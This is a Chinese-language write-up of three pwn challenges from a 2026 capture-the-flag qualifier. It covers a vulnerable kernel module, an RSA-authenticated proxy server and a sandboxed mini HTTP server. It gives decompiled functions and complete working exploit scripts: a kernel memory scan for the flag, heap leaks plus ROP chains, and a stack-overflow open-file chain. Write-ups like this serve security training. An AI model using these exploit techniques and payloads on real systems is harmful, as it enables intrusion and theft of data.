CSICN-2026-初赛pwn-writeup

前言

这里就只放pwn的解了,其余的解会放在我们学校战队的平台上,大家有想看的可以去看一下捏。链接放在这里了:CISCN&CCB-2025初赛-writeup

期望半决赛的时候自己不要再像现在这么菜了........

ram_snoop(赛后解出)

程序给了一个babydev.ko文件和eatFlag文件,一般来说babydev.ko文件就是存在漏洞的模块,查看init文件,发现将/proc/kallsyms拷贝到/tmp/coresysms.txt中,而且执行了/home/eatFlag文件

dev_ioctl

结合模拟之后的环境没有flag,但是解压缩文件系统之后是存在flag的,猜测是这个/home/eatFlag程序给flag删除了,这里先不管,先去逆向babydev.ko文件中的dev_ioctl函数:

  • 程序主要有五个分支来处理用户不同的请求

  • 0x83170401:返回当前进程的PID

  • 0x83170402:获取当前进程名(comm

  • 0x83170403:获取当前缓冲区剩余空间

  • 0x83170404:获取当前缓冲区有效长度

  • 0x83170405:获取 global_buf 内核地址(用于KASLR 绕过)

__int64 __fastcall dev_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
  const char *v4; // rax
  const void *src; // r12
  size_t v7; // rax
  _QWORD dest[2]; // [rsp+0h] [rbp-40h] BYREF
  __int64 v9; // [rsp+10h] [rbp-30h]
  __int64 v10; // [rsp+18h] [rbp-28h]
  __int64 global_buf_stack; // [rsp+20h] [rbp-20h]
  unsigned __int64 v12; // [rsp+28h] [rbp-18h]

  v12 = __readgsqword(0x28u);
  dest[0] = 0;
  v4 = *(const char **)(a1 + 200);
  dest[1] = 0;
  v9 = 0;
  v10 = 0;
  global_buf_stack = 0;
  if ( a2 == 0x83170403 )
  {
    HIDWORD(v9) = 0x10000 - *(_DWORD *)(global_buf + 0x10008);
    return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
  }
  if ( a2 <= 0x83170403 )
  {
    if ( a2 == 0x83170401 )
    {
      LODWORD(dest[0]) = *(_DWORD *)v4;
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
    if ( a2 == 0x83170402 )
    {
      src = v4 + 4;
      v7 = strlen(v4 + 4);
      memcpy((char *)dest + 4, src, v7 + 1);
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
  }
  else
  {
    if ( a2 == 0x83170404 )
    {
      LODWORD(v10) = *(_QWORD *)(global_buf + 65544) - *(_DWORD *)(global_buf + 0x10000);
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
    if ( a2 == 0x83170405 )
    {
      global_buf_stack = global_buf;
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
  }
  return -22;
}

dev_seek

现的是字符设备的 seek(定位)操作,也就是用户态调用:lseek(fd, offset, SEEK_SET / SEEK_CUR / SEEK_END);

他根据 whencen2)决定新的文件指针:SEEK_SET (0):从头开始,SEEK_CUR (1):从当前偏移开始,SEEK_END (2):从文件末尾开始,最终实现计算当前“文件大小”:

__int64 __fastcall dev_seek(__int64 a1, __int64 a2, int n2)
{
  __int64 v3; // rax
  __int64 result; // rax
  __int64 v5; // r8

  v3 = *(_QWORD *)(global_buf + 0x10008) - *(_QWORD *)(global_buf + 0x10000);
  if ( n2 == 1 )
  {
    v5 = *(_QWORD *)(a1 + 0x40) + a2;
    if ( v5 < 0 )
      return -22;
  }
  else
  {
    if ( n2 != 2 )
    {
      if ( !n2 && a2 >= 0 && v3 >= a2 )
      {
        v5 = a2;
        goto LABEL_7;
      }
      return -22;
    }
    v5 = v3 + a2;
    if ( v3 + a2 < 0 )
      return -22;
  }
  if ( v3 < v5 )
    return -22;
LABEL_7:
  *(_QWORD *)(a1 + 0x40) = v5;
  result = v5;
  *(_QWORD *)(a1 + 0xB8) = 0;
  return result;
}

dev_read

实现的是标准的 read() 行为:将数据从内核缓冲区拷贝到用户态:

__int64 __fastcall dev_read(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4)
{
  __int64 v6; // rcx
  __int64 v7; // r8
  __int64 v8; // rdx
  __int64 v9; // rax

  v6 = *a4;
  v7 = 0;
  v8 = *(_QWORD *)(global_buf + 0x10000);
  v9 = *(_QWORD *)(global_buf + 65544) - v8;
  if ( v6 < v9 )
  {
    if ( v6 + n0x7FFFFFFF > v9 )
      n0x7FFFFFFF = v9 - v6;
    if ( n0x7FFFFFFF > 0x7FFFFFFF )
      BUG();
    if ( copy_to_user(a2, (_QWORD *)(v6 + v8 + global_buf), n0x7FFFFFFF) )
    {
      return -14;
    }
    else
    {
      *a4 += n0x7FFFFFFF;
      return n0x7FFFFFFF;
    }
  }
  return v7;
}

dev_write

实现向一块 64KB 缓冲区写数据。这里的缓冲区位置有用户设置,但是注意到这里能够实现对global_buf + 0x10008)这里存储的数值的增大,最终相当于实现了global_buf大小虚拟扩大

unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4)
{
  __int64 v4; // rax
  unsigned __int64 n0x7FFFFFFF_1; // rbx
  __int64 global_buf; // rax

  v4 = *a4;
  n0x7FFFFFFF_1 = n0x7FFFFFFF;
  if ( *a4 > 0xFFFF && v4 >= *(_QWORD *)(global_buf + 65544) )
    return -105;
  if ( v4 + n0x7FFFFFFF > 0x10000 )
  {
    n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4;
  }
  else if ( n0x7FFFFFFF > 0x7FFFFFFF )
  {
    BUG();
  }
  if ( copy_from_user(v4 + *(_QWORD *)(global_buf + 0x10000) + global_buf, a2, n0x7FFFFFFF_1) )
    return -14;
  global_buf = global_buf;
  *a4 += n0x7FFFFFFF_1;
  *(_QWORD *)(global_buf + 65544) += n0x7FFFFFFF_1;
  return n0x7FFFFFFF_1;
}

eatFlag

逆向eatFlag文件得到这个程序会将/flag文件内容读取到自己的堆内存中,之后删除flag文件:

解题思路

由于一开始 eatFlag/flag 读入过内存,那么在一段时间内,flag 的字节就一定真实存在于某些物理内存页中,结合上面的dev_write能扩大这里的global_buf的空间,所以我们直接爆搜内存去找flag就好,注意这里大概率不存在,得多试几次

脚本如下:

// gcc exploit.c -static -masm=intel -g -o exploit
//#include "kpwn.h"
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <ctype.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

#define log_success(fmt, ...) \
    printf("\033[32m\033[1m[+] " fmt "\033[0m\n", ##__VA_ARGS__)

#define log_info(fmt, ...) \
    printf("\033[34m\033[1m[*] " fmt "\033[0m\n", ##__VA_ARGS__)

#define log_error(fmt, ...) \
    printf("\033[31m\033[1m[x] " fmt "\033[0m\n", ##__VA_ARGS__)

struct out {
        uint64_t dest[5];   
    };

unsigned char *findflag(unsigned char *buf, size_t len) {
    char flag_pattern[] = "flag{";
    unsigned char *addr = memmem(buf, len, flag_pattern, 5);
    if (addr) {
        for (size_t j = 0; j < 64 && (addr - buf + j) < len; j++) {
            if (addr[j] == '}') return addr;
        }
    }
    return NULL;
}

int main() {
    save_status();
    int fd = open("/dev/noc", O_RDWR);
    if (fd < 0) {
        log_error("open /dev/noc failed");
        return -1;
    };
    struct out buffer;
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170401, &buffer);
    log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]);

    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170402, &buffer);
    log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4);

    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170403, &buffer);
    log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32));

    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170404, &buffer);
    log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]);

    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170405, &buffer);
    log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]);

    char pl[0x10000];
    for (int i = 0; i < 2000; i++) {
        lseek(fd, 0, SEEK_SET);
        if (write(fd, pl, 0x10000) < 0)
        {
            log_error("write failed");
            break;
        }
    }
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170404, &buffer);
    log_info("the new length of global_buf is : %lx", (uint32_t)(buffer.dest[3]));
    uint32_t new_length = (uint32_t)buffer.dest[3];

    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170403, &buffer);
    log_info("the remaining size of global_buf is : %lx", (uint32_t)(buffer.dest[2]>>32));
    uint32_t remaing_size = (uint32_t)(buffer.dest[2]>>32);

    char buf[4096];
    memset(buf, '\x00', 4096);
    size_t step = 4096;
    // 开始爆搜
    for(size_t offset = 0;offset<new_length;offset+=step){

        lseek(fd, offset, SEEK_SET);
        ssize_t n = read(fd, buf, step);
        if (n <= 0)
        {
            log_error("read failed");
            break;
        }
        // print_binary(buf, step);
        char *flag_ptr = findflag((unsigned char *)buf, step);
        if(flag_ptr)
        {
            print_binary(buf,step);
            log_success("Flag found: %s", flag_ptr);
            break;
        }

    }

    return 0;
}

easy_rw

程序给了两个文件,一个是proxy,一个是server,其中proxy有upx壳,直接给re手,工具梭哈脱壳就好

稍微逆向一下可以知道这个程序是在做这个代理转发的操作,但是有一个挑战cookie的验证要做,所以我们需要做的操作就是如何得到这个cookie

考虑到每次都是从config文件中部读取n和d,所以我们利用这里的溢出来覆盖n和d为我们的已知值,这里我设置的是0xffffffffffffffff和1

之后就可以通过RSA的挑战验证,接受到cookie

之后逆向得到add/dele/show/edit的交互逻辑,使用堆块来泄露堆地址和libc,最后利用这个栈溢出打orw就好

from pwn import *
from pwn_std import *

# p=getProcess("127.0.0.1",8888,'./server')

context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./server")
libc=ELF("libc-2.31.so")

'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
gdb -ex set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/ ./pwn
gdb -ex "add-symbol-file /home/alpha/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/.debug/lib/x86_64-linux-gnu/libc-2.27.so" ./pwn
'''

cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu9.9_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
b do_lookup_x
b exit
b *_IO_wdoallocbuf
b *_IO_flush_all_lockp
b *_IO_wfile_overflow
"""

ip='8.147.130.99'
port=26705

def send_pkt(io,header, payload=b""):
    assert isinstance(payload, (bytes, bytearray))
    io.send(p32(header, endian='big'))
    io.send(p32(len(payload), endian='big'))
    if payload:
        io.send(payload)

def recv_some(io, n=0x1000):
    return io.recv(n, timeout=2)

def set_config(io, padding,n_hex, d_hex):
    payload = padding+f"n={n_hex}&d={d_hex}".encode()
    log.info(f"[*] set_config payload: {payload!r}")
    send_pkt(io, 0x85856547, payload)
    resp = recv_some(io)
    log.info(f"[*] set_config resp: {resp!r}")
    return resp

def fnv1a64(data: bytes) -> int:
    h = 0x14650FB0739D0383
    for b in data:
        h = (h ^ b) * 0x100000001B3
        h &= 0xFFFFFFFFFFFFFFFF
    h &= ~(0xFF << (2 * 8))
    return h

def auth_get_cookie(io):
    hack_hash = fnv1a64(b"hack")
    log.info(f"[*] hash('hack') = {hack_hash:#x}")

    payload = p64(hack_hash, endian='big') 
    send_pkt(io, 0xFFFF2525, payload)

    resp = io.recv(0x1000, timeout=2)
    log.info(f"[*] auth resp len={len(resp)} data={resp!r}")

    if resp and len(resp) >= 32 and resp[:9] != b"AUTH_FAIL":
        cookie = resp[:32]
        log.success(f"[+] cookie = {cookie.hex()}")
        return cookie

    log.failure("[-] AUTH failed (got AUTH_FAIL or empty)")
    return None

def forward(io, cookie: bytes, data: bytes):
    assert cookie and len(cookie) == 32
    payload = cookie + data
    send_pkt(io, 0x7F687985, payload)
    # resp = io.recv(0x1000, timeout=2)
    # log.info(f"[*] forward resp: {resp!r}")
    # return resp

# p=remote("127.0.0.1", 8888)
p=remote(ip,port)#39.106.128.130 20573

set_config(p,b'a'*0x100,"ffffffffffffffff", "1\x00")
p.close()

# 2) 新开一个连接:在同一连接上完成 AUTH + FORWARD

p=remote(ip,port)

cookie = auth_get_cookie(p)
print('cookie=',cookie)

def add(size, content):
    """
    rtsp://uH@*/{"command":"add","param1":"size","param2":"content","param3":""}
    """
    cmd = (
        f'rtsp://uH@*/{{'
        f'"command":"add",'
        f'"param1":"{size}",'
        f'"param2":"{content}",'
        f'"param3":""'
        f'}}\n'
    )
    # p = remote("127.0.0.1", 8888)
    p=remote(ip,port)#39.106.128.130 20573#39.106.128.130 20573

    # p=remote("101.200.167.131",39003)
    forward(p, cookie, cmd.encode())

    p.close()
    return cmd.encode()

def dele(index):
    """
    rtsp://uH@*/{"command":"delete","param1":"index","param2":"","param3":""}
    """
    cmd = (
        f'rtsp://uH@*/{{'
        f'"command":"delete",'
        f'"param1":"{index}",'
        f'"param2":"",'
        f'"param3":""'
        f'}}\n'
    )
    # p = remote("127.0.0.1", 8888)
    p=remote(ip,port)#39.106.128.130 20573

    # p=remote("101.200.167.131",39003)
    forward(p, cookie, cmd.encode())

    p.close()

    return cmd.encode()

def edit(index, new_content):
    """
    rtsp://uH@*/{"command":"edit","param1":"index","param2":"new_content","param3":""}
    """
    cmd = (
        f'rtsp://uH@*/{{'
        f'"command":"edit",'
        f'"param1":"{index}",'
        f'"param2":"'+new_content+f'",'
        f'"param3":""'
        f'}}\n'
    )
    # p = remote("127.0.0.1", 8888)
    p=remote(ip,port)#39.106.128.130 20573

    # p=remote("101.200.167.131",39003)
    forward(p, cookie, cmd.encode())

    p.close()
    return cmd.encode()

def showhb(index):
    """
    rtsp://uH@*/{"command":"show","param1":"index","param2":"","param3":""}
    """
    cmd = (
        f'rtsp://uH@*/{{'
        f'"command":"show",'
        f'"param1":"{index}",'
        f'"param2":"",'
        f'"param3":""'
        f'}}\n'
    )
    # p = remote("127.0.0.1", 8888)
    p=remote(ip,port)#39.106.128.130 20573

    # p=remote("101.200.167.131",39003)
    forward(p, cookie, cmd.encode())
    p.recvuntil('Content: 144:')
    hb=u64(p.recv(6).ljust(8,b'\x00'))

    p.close()

    return hb

def showlb(index):
    """
    rtsp://uH@*/{"command":"show","param1":"index","param2":"","param3":""}
    """
    cmd = (
        f'rtsp://uH@*/{{'
        f'"command":"show",'
        f'"param1":"{index}",'
        f'"param2":"",'
        f'"param3":""'
        f'}}\n'
    )
    p=remote(ip,port)
    # p=remote("101.200.167.131",39003)
    forward(p, cookie, cmd.encode())
    p.recvuntil('Content: 248:')
    hb=u64(p.recv(6).ljust(8,b'\x00'))

    p.close()

    return hb

add(0x90,'./flag')
sleep(0.5)
add(0x90,'a')
sleep(0.5)
dele(0)
sleep(0.5)
dele(1)
sleep(0.5)
add(0x90,'a')#2
hb=showhb(2)-(0x555555561661-0x555555561000)
print("heapbase=",hex(hb))
##构造堆块重叠##

for i in range(11):
    sleep(0.5)
    add(0xf0,'a')#3-13

for i in range(11):
    sleep(0.5)
    dele(i+2)

for i in range(7):
    sleep(0.5)
    add(0xf8,'/flag')#14-20

sleep(0.5)
add(0xf8,'a')

lb=showlb(21)-(0x7ffff7bfaf61-0x7ffff7a0e000)-(0x7ffff7a0df00-0x7ffff7a0e000)
print("libc_base=",hex(lb))
pause()
##触发栈溢出
# b *$rebase(0x0000000000001C36)
# b *$rebase(0x1BA7)

p=remote(ip,port)

binsh=lb+next(libc.search(b'/bin/sh\0'))
system=lb+libc.sym["system"]
rdi=lb+0x0000000000023b6a
rsi=lb+0x000000000002601f
rdx_r12=0x0000000000119431+lb
rax=lb+0x0000000000036174

pl=b'rdsp://uH@*/'+b'a'*(32-12)+p64(0)+p64(rdi)+p64(hb+0x7f0)+p64(rsi)+p64(0)+p64(rdx_r12)+p64(0)*2
pl+=p64(rax)+p64(2)+p64(lb+libc.sym["read"]+16)
pl+=p64(rdi)+p64(5)+p64(rsi)+p64(hb)+p64(rdx_r12)+p64(0x40)*2+p64(libc.sym["read"]+lb)
pl+=p64(rdi)+p64(4)+p64(lb+libc.sym["write"])
pl+=b'\r\n'
# pl=b'rdsp://uH@*/'
# pl+=b'\r\n'
forward(p, cookie, pl)

cont=p.recv(0x1000)

print("content=",cont)

minihttpd

Web_pwn,逆向一下,程序开了沙箱,禁用execve和execveat

有一个函数open_file很重要:控制好参数之后,这个可以实现打开文件并发送给用户

这个函数中存在溢出:

利用溢出,构造rop来将flag文件打开来发送给用户就好,我们先栈溢出一次利用recv写入/flag字符串和后续rop链,之后利用recv后面leave ret跳栈,控制执行流到我们刚刚写入的rop链子上,也就是我们的open_file函数上,注意,由于程序中会调用snprintf,为了防止这个函数不断抬栈到一个不可写的地址,我们需要设置rbp尽可能地低。vmmap发现heap紧挨着程序地地址,所以相当于我们知道heap地址,直接将rbp覆盖为heap地址就好。脚本如下:

from pwn import *
from pwn_std import *


p=getProcess("127.0.0.1",9999,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

rsi=0x0000000000402ff1
openfile=0x0000000000402663
rdi=0x0000000000402ff3
pop_rbp=0x000000000040169d
ret=0x00000000004027D1
bss=0x427000

pl1=b'setmode='+b'a'*0x440+p64(bss)
pl1+=p64(ret)+p64(rdi)+p64(4)+p64(rsi)+p64(bss)+p64(0)+p64(0x0000000000401CF0)

route='/setmode'
content_length=len(pl1)

payload1=f'''POST {route} HTTP/1.0\r
Content-Length: {content_length}\r

'''
payload1=payload1.encode()
payload1+=pl1
payload1+=b'/flag\0\0\0'+p64(rsi)+p64(bss)+p64(0)+p64(rdi)+p64(4)+p64(openfile)
sd(payload1)
ita()


CSICN-2026-初赛pwn-writeup
https://a1b2rt.cn//archives/csicn-2026-chu-sai-pwn-writeup
作者
A1b2rt
发布于
2026年01月04日
许可协议